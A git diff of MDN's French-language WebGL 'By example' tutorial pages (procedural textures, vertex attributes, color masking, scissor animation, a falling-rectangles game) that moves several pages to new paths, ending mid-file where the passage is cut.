{{PreviousNext("Apprendre/WebGL/Par_exemple","Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs")}}
diff --git "a/files/fr/web/api/webgl_api/by_example/g\303\251n\303\251rer_des_textures_avec_du_code/index.html" "b/files/fr/web/api/webgl_api/by_example/g\303\251n\303\251rer_des_textures_avec_du_code/index.html" deleted file mode 100644 index cd7d71f0c5..0000000000 --- "a/files/fr/web/api/webgl_api/by_example/g\303\251n\303\251rer_des_textures_avec_du_code/index.html" +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: Générer des textures avec du code -slug: Web/API/WebGL_API/By_example/Générer_des_textures_avec_du_code -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Textures_from_code ---- -
{{draft}}{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex","Apprendre/WebGL/Par_exemple/Les_textures_vidéos")}}

- -

Dans cet article, on illustre simplement comment générer des textures procédurales avec des fragments de shaders.

- -

{{EmbedLiveSample("Dessiner_des_textures_avec_du_code",660,350)}}

- -

Dessiner des textures avec du  code

- -

Il est possible d'appliquer des textures en effectuant des calculs pour chaque pixel du fragment de shader.

- - - - - -
<script type="x-shader/x-vertex" id="vertex-shader">
-#version 100
-precision highp float;
-void main() {
-  gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
-  gl_PointSize = 128.0;
-}
-</script>
-
- -
<script type="x-shader/x-fragment" id="fragment-shader">
-#version 100
-precision mediump float;
-// On définit une variation radiale (à partir du centre)
-void main() {
-  vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
-  float distance = length(fragmentPosition);
-  float distanceSqrd = distance * distance;
-  gl_FragColor = vec4(
-    0.2/distanceSqrd,
-    0.1/distanceSqrd,
-    0.0, 1.0 );
-}
-</script>
-
- - - -
"use strict"
-window.addEventListener("load", setupWebGL, false);
-var gl,
-  program;
-function setupWebGL (evt) {
-  window.removeEventListener(evt.type, setupWebGL, false);
-  if (!(gl = getRenderingContext()))
-    return;
-
-  var source = document.querySelector("#vertex-shader").innerHTML;
-  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
-  gl.shaderSource(vertexShader,source);
-  gl.compileShader(vertexShader);
-  source = document.querySelector("#fragment-shader").innerHTML
-  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
-  gl.shaderSource(fragmentShader,source);
-  gl.compileShader(fragmentShader);
-  program = gl.createProgram();
-  gl.attachShader(program, vertexShader);
-  gl.attachShader(program, fragmentShader);
-  gl.linkProgram(program);
-  gl.detachShader(program, vertexShader);
-  gl.detachShader(program, fragmentShader);
-  gl.deleteShader(vertexShader);
-  gl.deleteShader(fragmentShader);
-  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
-    var linkErrLog = gl.getProgramInfoLog(program);
-    cleanup();
-    document.querySelector("p").innerHTML =
-      "La liaison du programme de shader a échoué. "
-      + "Journal d'erreur : " + linkErrLog;
-    return;
-  }
-  initializeAttributes();
-  gl.useProgram(program);
-  gl.drawArrays(gl.POINTS, 0, 1);
-  cleanup();
-}
-
-var buffer;
-function initializeAttributes() {
-  gl.enableVertexAttribArray(0);
-  buffer = gl.createBuffer();
-  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
-  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 0.0]), gl.STATIC_DRAW);
-  gl.vertexAttribPointer(0, 2, gl.FLOAT, false, 0, 0);
-}
-
-function cleanup() {
-gl.useProgram(null);
-if (buffer)
-  gl.deleteBuffer(buffer);
-if (program)
-  gl.deleteProgram(program);
-}
-
- - - - - -

Le code source de cet exemple est également disponible sur GitHub.

- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex","Apprendre/WebGL/Par_exemple/Les_textures_vidéos")}}

diff --git a/files/fr/web/api/webgl_api/by_example/hello_vertex_attributes/index.html b/files/fr/web/api/webgl_api/by_example/hello_vertex_attributes/index.html new file mode 100644 index 0000000000..612dbad79c --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/hello_vertex_attributes/index.html @@ -0,0 +1,171 @@ +--- +title: Introduction aux attributs de vertex +slug: Web/API/WebGL_API/By_example/Introduction_aux_attributs_vertex +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Hello_vertex_attributes +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Hello_GLSL","Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}

+ +

Avec cet exemple, on voit comment combiner la programmation des shaders et les interactions utilisateurs grâce aux attributs des vertex.

+ +

{{EmbedLiveSample("Un_Hello_World_en_GLSL",660,425)}}

+ +

Un Hello World en GLSL

+ +

Voici comment envoyer des données saisies à un programme de manipulation des shaders en utilisant la mémoire GPU.

+ + + + + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+precision highp float;
+
+attribute float position;
+
+void main() {
+  gl_Position = vec4(position, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+precision mediump float;
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  document.querySelector("canvas").addEventListener("click",
+    function (evt) {
+      var clickXrelativToCanvas =
+          evt.pageX - evt.target.offsetLeft;
+      var clickXinWebGLCoords =
+          2.0 * (clickXrelativToCanvas- gl.drawingBufferWidth/2)
+          / gl.drawingBufferWidth;
+      gl.bufferData(gl.ARRAY_BUFFER,
+        new Float32Array([clickXinWebGLCoords]), gl.STATIC_DRAW);
+      gl.drawArrays(gl.POINTS, 0, 1);
+    }, false);
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+window.addEventListener("beforeunload", cleanup, true);
+function cleanup() {
+  gl.useProgram(null);
+  if (buffer)
+    gl.deleteBuffer(buffer);
+  if (program)
+    gl.deleteProgram(program);
+}
+
+ + + + + +

Le code source de cet exemple est également disponible sur GitHub.

+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Hello_GLSL","Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}

diff --git a/files/fr/web/api/webgl_api/by_example/introduction_aux_attributs_vertex/index.html b/files/fr/web/api/webgl_api/by_example/introduction_aux_attributs_vertex/index.html deleted file mode 100644 index 612dbad79c..0000000000 --- a/files/fr/web/api/webgl_api/by_example/introduction_aux_attributs_vertex/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: Introduction aux attributs de vertex -slug: Web/API/WebGL_API/By_example/Introduction_aux_attributs_vertex -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Hello_vertex_attributes ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Hello_GLSL","Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}

- -

Avec cet exemple, on voit comment combiner la programmation des shaders et les interactions utilisateurs grâce aux attributs des vertex.

- -

{{EmbedLiveSample("Un_Hello_World_en_GLSL",660,425)}}

- -

Un Hello World en GLSL

- -

Voici comment envoyer des données saisies à un programme de manipulation des shaders en utilisant la mémoire GPU.

- - - - - -
<script type="x-shader/x-vertex" id="vertex-shader">
-#version 100
-precision highp float;
-
-attribute float position;
-
-void main() {
-  gl_Position = vec4(position, 0.0, 0.0, 1.0);
-  gl_PointSize = 64.0;
-}
-</script>
-
- -
<script type="x-shader/x-fragment" id="fragment-shader">
-#version 100
-precision mediump float;
-void main() {
-  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
-}
-</script>
-
- - - -
"use strict"
-window.addEventListener("load", setupWebGL, false);
-var gl,
-  program;
-function setupWebGL (evt) {
-  window.removeEventListener(evt.type, setupWebGL, false);
-  if (!(gl = getRenderingContext()))
-    return;
-
-  var source = document.querySelector("#vertex-shader").innerHTML;
-  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
-  gl.shaderSource(vertexShader,source);
-  gl.compileShader(vertexShader);
-  source = document.querySelector("#fragment-shader").innerHTML
-  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
-  gl.shaderSource(fragmentShader,source);
-  gl.compileShader(fragmentShader);
-  program = gl.createProgram();
-  gl.attachShader(program, vertexShader);
-  gl.attachShader(program, fragmentShader);
-  gl.linkProgram(program);
-  gl.detachShader(program, vertexShader);
-  gl.detachShader(program, fragmentShader);
-  gl.deleteShader(vertexShader);
-  gl.deleteShader(fragmentShader);
-  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
-    var linkErrLog = gl.getProgramInfoLog(program);
-    cleanup();
-    document.querySelector("p").innerHTML =
-      "Shader program did not link successfully. "
-      + "Error log: " + linkErrLog;
-    return;
-  }
-
-  initializeAttributes();
-  gl.useProgram(program);
-  gl.drawArrays(gl.POINTS, 0, 1);
-
-  document.querySelector("canvas").addEventListener("click",
-    function (evt) {
-      var clickXrelativToCanvas =
-          evt.pageX - evt.target.offsetLeft;
-      var clickXinWebGLCoords =
-          2.0 * (clickXrelativToCanvas- gl.drawingBufferWidth/2)
-          / gl.drawingBufferWidth;
-      gl.bufferData(gl.ARRAY_BUFFER,
-        new Float32Array([clickXinWebGLCoords]), gl.STATIC_DRAW);
-      gl.drawArrays(gl.POINTS, 0, 1);
-    }, false);
-}
-
-var buffer;
-function initializeAttributes() {
-  gl.enableVertexAttribArray(0);
-  buffer = gl.createBuffer();
-  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
-  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0]), gl.STATIC_DRAW);
-  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
-}
-
-window.addEventListener("beforeunload", cleanup, true);
-function cleanup() {
-  gl.useProgram(null);
-  if (buffer)
-    gl.deleteBuffer(buffer);
-  if (program)
-    gl.deleteProgram(program);
-}
-
- - - - - -

Le code source de cet exemple est également disponible sur GitHub.

- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Hello_GLSL","Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}

diff --git "a/files/fr/web/api/webgl_api/by_example/les_textures_vid\303\251os/index.html" "b/files/fr/web/api/webgl_api/by_example/les_textures_vid\303\251os/index.html" deleted file mode 100644 index ab1ea5a388..0000000000 --- "a/files/fr/web/api/webgl_api/by_example/les_textures_vid\303\251os/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Les textures vidéos -slug: Web/API/WebGL_API/By_example/Les_textures_vidéos -tags: - - Apprendre - - Avancé - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Video_textures ---- -
{{draft}}{{IncludeSubnav("/fr/Apprendre")}}
- -

{{Previous("Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}

- -

Cet exemple illustre comment utiliser des fichiers vidéos comme textures.

- -

Des textures à partir de vidéos

- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510)}}

- -

{{Previous("Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}

diff --git a/files/fr/web/api/webgl_api/by_example/masque_de_couleur/index.html b/files/fr/web/api/webgl_api/by_example/masque_de_couleur/index.html deleted file mode 100644 index ad5e0dd461..0000000000 --- a/files/fr/web/api/webgl_api/by_example/masque_de_couleur/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Masque de couleur -slug: Web/API/WebGL_API/By_example/Masque_de_couleur -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Color_masking ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_colorée","Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples")}}

- -
-
-

Dans cet article, on modifie des couleurs aléatoires grâce à un masque de couleur. Cela permet de limiter la plage de couleurs affichées à certains tons.

-
- -

{{EmbedLiveSample("color-masking-source",660,425)}}

- -
-

Appliquer un masque sur des couleurs aléatoires

- -

Dans cet exemple, on modifie les couleurs aléatoires utilisées pour une animation grâce à l'opération {{domxref("WebGLRenderingContext.colorMask()","colorMask()")}}. D'une certaine façon, cette opération est analogue à la modification qu'on obtient lorsqu'on regarde à travers du verre teinté ou derrière une filtre coloré. Ainsi, en masquant les canaux vert et bleu, on ne pourra recevoir que les composantes rouges des pixels et cela donnera l'impression de regarder à travers du verre teinté de rouge.

- -

Les masques de couleur nous permettent d'illustrer quelques concepts de base de la théorie des couleurs. En masquant certaines composantes, on rapproche les couleurs affichées de la couleur complémentaire. Ainsi, en masquant le bleu et le rouge, on obtiendrait des tons de vert. En masquant uniquement le canal bleu, on obtiendra des tons de jaune (dont orange, marron, olive, etc.) qui est la couleur complémentaire du bleu. De la même façon, en masquant uniquement le vert, on obtiendrait des tons magenta (pourpres, rouges, etc.) et en masquant uniquement le rouge, on obtiendrait des tons cyan.

- -

On voit que les appels à colorMask() sont uniquement déclenchés lorsque l'utilisateur clique sur l'un des boutons. En revanche, le rendu est fait chaque seconde grâce au timer. L'état du masque de couleur lié à {{Glossary("WebGL")}} est conservé et il n'est donc pas nécessaire d'appeler colorMask() à chaque frame pour régler le masque. Cela illustre la manière dont WebGL est un automate a état. Dans un premier temps, on initialise l'état de WebGL et ensuite, à chaque frame, on déclenche uniquement les opérations de dessin.

- -

Les masques de couleurs permettent d'avoir un contrôle précis pour mettre à jour les pixels à l'écran. En limitant les canaux de couleur qui sont utilisés à chaque commande de dessin, on peut utiliser chaque canal à bon escient et on peut par exemple stocler une image en ton de gris.

- -

Enfin, l'application d'un masque de couleur nous montre que {{Glossary("WebGL")}} n'est pas seulement un automate à états mais aussi un processus graphique. Cela signifie que les opérations graphiques liées à WebGL sont effectuées dans un ordre donné et que le résultat de chaque opération sert de point d'entrée pour l'opération suivante. Ainsi, l'opération d'applique définit la valeur pour chaque pixel. L'application du masque se produit plus tard dans le processus et modifie la couleur. Ainsi, le résultat final affiché à l'écran est teinté par la couleur du masque.

-
- -
-
<p>Tinting the displayed colors with color masking.</p>
-<canvas>Il semblerait que votre navigateur ne supporte pas
-    l'élément HTML5 canvas.</canvas>
-<button id="red-toggle">On</button>
-<button id="green-toggle">On</button>
-<button id="blue-toggle">On</button>
-
- -
body {
-  text-align : center;
-}
-canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
-}
-button {
-  display : inline-block;
-  font-family : serif;
-  font-size : inherit;
-  font-weight : 900;
-  color : white;
-  margin : auto;
-  padding : 0.6em 1.2em;
-}
-#red-toggle {
-  background-color : red;
-}
-#green-toggle {
-  background-color : green;
-}
-#blue-toggle {
-  background-color : blue;
-}
-
- -
window.addEventListener("load", function setupAnimation (evt) {
-  "use strict"
-  window.removeEventListener(evt.type, setupAnimation, false);
-
-  var canvas = document.querySelector("canvas");
-  var gl = canvas.getContext("webgl")
-      || canvas.getContext("experimental-webgl");
-  if (!gl) {
-    document.querySelector("p").innerHTML =
-      "Échec lors de l'obtention du contexte WebGL."
-      + "Votre navigateur ou appareil ne supporte "
-      + "peut-être pas WebGL.";
-    return;
-  }
-  gl.viewport(0, 0,
-    gl.drawingBufferWidth, gl.drawingBufferHeight);
-
-  var timer = setInterval(drawAnimation, 1000);
-
-  var mask = [true, true, true];
-  var redtoggle = document.querySelector("#red-toggle"),
-    greentoggle = document.querySelector("#green-toggle"),
-    bluetoggle = document.querySelector("#blue-toggle");
-  redtoggle.addEventListener("click", setColorMask, false);
-  greentoggle.addEventListener("click", setColorMask, false);
-  bluetoggle.addEventListener("click", setColorMask, false);
-
-  function setColorMask(evt) {
-    var index =
-      evt.target === greentoggle && 1
-      || evt.target === bluetoggle && 2
-      || 0;
-    mask[index] = !mask[index];
-    if (mask[index] === true)
-      evt.target.innerHTML="On";
-    else
-      evt.target.innerHTML="Off";
-    gl.colorMask(mask[0], mask[1], mask[2], true);
-    drawAnimation();
-  };
-
-  function drawAnimation () {
-    var color = getRandomColor();
-    gl.clearColor(color[0], color[1], color[2], 1.0);
-    gl.clear(gl.COLOR_BUFFER_BIT);
-  }
-
-  function getRandomColor() {
-    return [Math.random(), Math.random(), Math.random()];
-  }
-}, false);
-
- -

Le code source de cet exemple est également disponible sur GitHub.

-
-
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_colorée","Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples")}}

diff --git "a/files/fr/web/api/webgl_api/by_example/mod\303\250le_1/index.html" "b/files/fr/web/api/webgl_api/by_example/mod\303\250le_1/index.html" deleted file mode 100644 index a055a358c8..0000000000 --- "a/files/fr/web/api/webgl_api/by_example/mod\303\250le_1/index.html" +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Modèle 1 -slug: Web/API/WebGL_API/By_example/Modèle_1 -tags: - - Apprendre - - Débutant - - Exemple - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Boilerplate_1 ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL","Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique")}}

- -

Dans cet article, on décrit les fragments de code qui seront réutilisés pour les exemples suivants (où ils seront masqués pour une meilleur lisibilité). Parmi ce code, on définit une fonction JavaScript utilitaire qui permet de simplifier l'initialisation de WebGL.

- -

{{EmbedLiveSample("Socle_pour_l'initialisation_du_contexte_WebGL",660,400)}}

- -

Socle pour l'initialisation du contexte WebGL

- -

Nous avons vu plusieurs fois les mêmes morceaux de {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("JavaScript")}}. Nous allons donc les cacher par la suite afin de mieux nous concentrer sur les parties du code qui sont pertinentes pour l'apprentissage de {{Glossary("WebGL")}}.

- -

Plus précisément, le code HTML contiendra

- -
    -
  • Un élément {{HTMLElement("p")}} qui décrira l'exemple et qui permettra d'afficher des messages d'erreur
    • -
  • Un élément {{HTMLElement("canvas")}}
    • -
  • Un bouton (élément {{HTMLElement("button")}})
    • -
- -

Les règles CSS s'appliqueront aux éléments body, canvas et button. Les éléments supplémentaires pour le code CSS et HTML seront détaillés dans les pages des exemples concernés.

- -

Dans les exemples suivants, on utilisera la fonction utilitaire JavaScript getRenderingContext pour initialiser {{domxref("WebGLRenderingContext","le contexte de rendu WebGL", "", 1)}}. Grâce aux exemples précédents, vous devriez pouvoir comprendre le rôle de cette fonction. Pour résumer, celle-ci

- -
    -
  • Obtient le contexte de rendu de la part de l'élément canvas
    • -
  • Initialise le buffer de dessin
    • -
  • Nettoie le buffer avec clear
    • -
  • Applique le contexte initialisé
    • -
- -

S'il y a une erreur, la fonction affiche un message d'erreur et renvoie null.

- -

Enfin, tout le code JavaScript est exécuté par une fonction immédiatement appelée (une technique plutôt commune avec JavaScript). La déclaration de la fonction et son invocation seront cachées.

- -
<p>[ Un texte qui décrit l'exemple. ]</p>
-<button>[ Un bouton optionnel pour les interactions. ]</button>
-<canvas>Il semblerait que votre navigateur ne supporte
-    pas le canevas HTML5.</canvas>
-
- -
body {
-  text-align : center;
-}
-canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
-}
-button {
-  display : block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
-}
-
- -
function getRenderingContext() {
-  var canvas = document.querySelector("canvas");
-  canvas.width = canvas.clientWidth;
-  canvas.height = canvas.clientHeight;
-  var gl = canvas.getContext("webgl")
-    || canvas.getContext("experimental-webgl");
-  if (!gl) {
-    var paragraph = document.querySelector("p");
-    paragraph.innerHTML = "Échec de l'obtention du "
-      + "contexte WebGL."
-      + "Votre navigateur ou appareil ne supporte "
-      + "peut-être pas WebGL.";
-    return null;
-  }
-  gl.viewport(0, 0,
-    gl.drawingBufferWidth, gl.drawingBufferHeight);
-  gl.clearColor(0.0, 0.0, 0.0, 1.0);
-  gl.clear(gl.COLOR_BUFFER_BIT);
-  return gl;
-}
-
- -

Le code source de cet exemple est également disponible sur GitHub.

- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL","Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique")}}

diff --git a/files/fr/web/api/webgl_api/by_example/raining_rectangles/index.html b/files/fr/web/api/webgl_api/by_example/raining_rectangles/index.html new file mode 100644 index 0000000000..e9f9bcdf8c --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/raining_rectangles/index.html @@ -0,0 +1,176 @@ +--- +title: Une pluie de rectangle +slug: Web/API/WebGL_API/By_example/Une_pluie_de_rectangle +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Raining_rectangles +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique","Apprendre/WebGL/Par_exemple/Hello_GLSL")}}

+ +

Cet exemple permet de créer un jeu simple qui illustre ce qu'il est possible de faire avec du « découpage », des animations et des interactions utilisateur.

+ +

{{EmbedLiveSample("Utiliser_des_animations_et_des_interactions_grâce_à_des_découpes",660,425)}}

+ +

Utiliser des animations et des interactions grâce à des découpes

+ +

Voici un jeu simple où il faut essayer de cliquer sur les rectangles qui tombent pour en attraper le plus possible. Dans cet exemple, on utilise un approche orientée objet pour représenter les rectangles. Cela permet de mieux gérer l'état du rectangle (sa position, sa couleur, etc.) et cela rend le code plus compact et plus facile à réutiliser.

+ +

Dans cet exemple, on combine l'applique de couleurs unis dans le tampon de dessin et des opérations de découpe. C'est un aperçu d'une application graphique complète qui manipule les différentes phases des processus {{Glossary("WebGL")}} et de son automate.

+ +

De plus, cet exmple illustre comment intégrer des fonctions WebGL dans une boucle de jeu. La boucle de jeu est responsable du dessin pour l'animation, de la gestion des entrées utilisateur et de la réactivité de l'ensemble. Voici comment la boucle de jeu est implémentée avec des  setTimeout.

+ + + + + + + +
"use strict"
+window.addEventListener("load", setupAnimation, false);
+var gl,
+  timer,
+  rainingRect,
+  scoreDisplay,
+  missesDisplay;
+function setupAnimation (evt) {
+  window.removeEventListener(evt.type, setupAnimation, false);
+  if (!(gl = getRenderingContext()))
+    return;
+  gl.enable(gl.SCISSOR_TEST);
+
+  rainingRect = new Rectangle();
+  timer = setTimeout(drawAnimation, 17);
+  document.querySelector("canvas")
+      .addEventListener("click", playerClick, false);
+  var displays = document.querySelectorAll("strong");
+  scoreDisplay = displays[0];
+  missesDisplay = displays[1];
+}
+
+var score = 0,
+  misses = 0;
+function drawAnimation () {
+  gl.scissor(rainingRect.position[0], rainingRect.position[1],
+      rainingRect.size[0] , rainingRect.size[1]);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  rainingRect.position[1] -= rainingRect.velocity;
+  if (rainingRect.position[1] < 0) {
+    misses += 1;
+    missesDisplay.innerHTML = misses;
+    rainingRect = new Rectangle();
+  }
+  // On utilise la fonction setTimeout pour l'animation
+  // et on appelle ainsi la fonction drawAnimation toutes
+  // les 17ms, sinon, on n'aurait pas d'animation.
+  timer = setTimeout(drawAnimation, 17);
+}
+
+function playerClick (evt) {
+  // Il est nécessaire de transfomer la position de l'événement
+  // déclenché par le clic, exprimée dans le repèree de la fenêtre
+  // pour obtenir la position relative au canevas.
+  // De plus, on rappelle qu'avec WebGL les ordonnées croissent
+  // selon l'axe vertical, c'est-à-dire l'inverse du système
+  // utilisé pour la fenêtre du navigateur.
+  var position = [
+      evt.pageX - evt.target.offsetLeft,
+      gl.drawingBufferHeight - (evt.pageY - evt.target.offsetTop),
+    ];
+  // si le clic est sur un rectangle, on l'attrape.
+  // On incrémente donc le score et on crée un nouveau rectangle
+  var diffPos = [ position[0] - rainingRect.position[0],
+      position[1] - rainingRect.position[1] ];
+  if ( diffPos[0] >= 0 && diffPos[0] < rainingRect.size[0]
+      && diffPos[1] >= 0 && diffPos[1] < rainingRect.size[1] ) {
+    score += 1;
+    scoreDisplay.innerHTML = score;
+    rainingRect = new Rectangle();
+  }
+}
+
+function Rectangle () {
+  // On garde une référence au nouvel objet Rectangle
+  // plutôt que de risquer une confusion avec this.
+  var rect = this;
+  // On prend trois nombres aléatoires pour la taille
+  // et la position du nouveau rectangle. On utilise
+  // un nombre différent pour la position et la taille
+  // car on veut que celles-ci soient indépendantes.
+  var randNums = getRandomVector();
+  rect.size = [
+    5 + 120 * randNums[0],
+    5 + 120 * randNums[1]
+  ];
+  rect.position = [
+    randNums[2]*(gl.drawingBufferWidth - rect.size[0]),
+    gl.drawingBufferHeight
+  ];
+  rect.velocity = 1.0 + 6.0*Math.random();
+  rect.color = getRandomVector();
+  gl.clearColor(rect.color[0], rect.color[1], rect.color[2], 1.0);
+  function getRandomVector() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}
+
+ + + + + +

Le code source de cet exemple est également disponible sur GitHub.

+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique","Apprendre/WebGL/Par_exemple/Hello_GLSL")}}

diff --git a/files/fr/web/api/webgl_api/by_example/scissor_animation/index.html b/files/fr/web/api/webgl_api/by_example/scissor_animation/index.html new file mode 100644 index 0000000000..8eb25287ab --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/scissor_animation/index.html @@ -0,0 +1,162 @@ +--- +title: Créer une animation avec découpe et applique +slug: Web/API/WebGL_API/By_example/Créer_une_animation_avec_découpe_et_applique +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Scissor_animation +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Modèle_1","Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle")}}

+ +

Dans cet article, on voit comment créer des animations grâce à des opérations de découpe et d'applique.

+ +

{{EmbedLiveSample("Une_animation_grâce_à_des_découpes",660,425)}}

+ +

Une animation grâce à des découpes

+ +

Dans cet exemple, on anime des carrés grâce aux méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}}. Ensuite, on crée à nouveau une boucle d'animation grâce aux timers. Cette fois-ci, la position du carré (la zone de découpe) est mise à jour à chaque frame (on a environ une frame rafraîchie toutes les 17 millisecondes, ce qui correspond environ à 60fps (frame per second ou frame par seconde).

+ +

En revanche, la couleur du carré (définie avec {{domxref("WebGLRenderingContext.clearColor()","clearColor")}}) est uniquement mise à jour lorsqu'un nouveau carré est créé. On voit ici que {{Glossary("WebGL")}} est un automate. Pour chaque carré, on définit sa couleur une fois puis on met à jour sa position à chaque frame. L'état lié à la couleur reste tel quel jusqu'à ce qu'un nouveau carré soit créé.

+ + + + + + + +
"use strict"
+window.addEventListener("load", setupAnimation, false);
+// Voici les variables qui permettront de
+// manipuler le contexte WebGL, la couleur
+// et la position des carrés.
+var gl,
+  color = getRandomColor(),
+  position;
+
+function setupAnimation (evt) {
+  window.removeEventListener(evt.type, setupAnimation, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  gl.enable(gl.SCISSOR_TEST);
+  gl.clearColor(color[0], color[1], color[2], 1.0);
+
+  // À la différence de la fenêtre du navigateur,
+  // l'axe vertical de WebGL va dans le sens croissant
+  // du bas vers le haut. Dans cette position, on indique
+  // que la position initiale du carré est en haut à gauche
+  // du contexte de dessin
+  position = [0, gl.drawingBufferHeight];
+
+  var button = document.querySelector("button");
+  var timer;
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    document.querySelector("strong").innerHTML = "arrêter";
+    timer = setInterval(drawAnimation, 17);
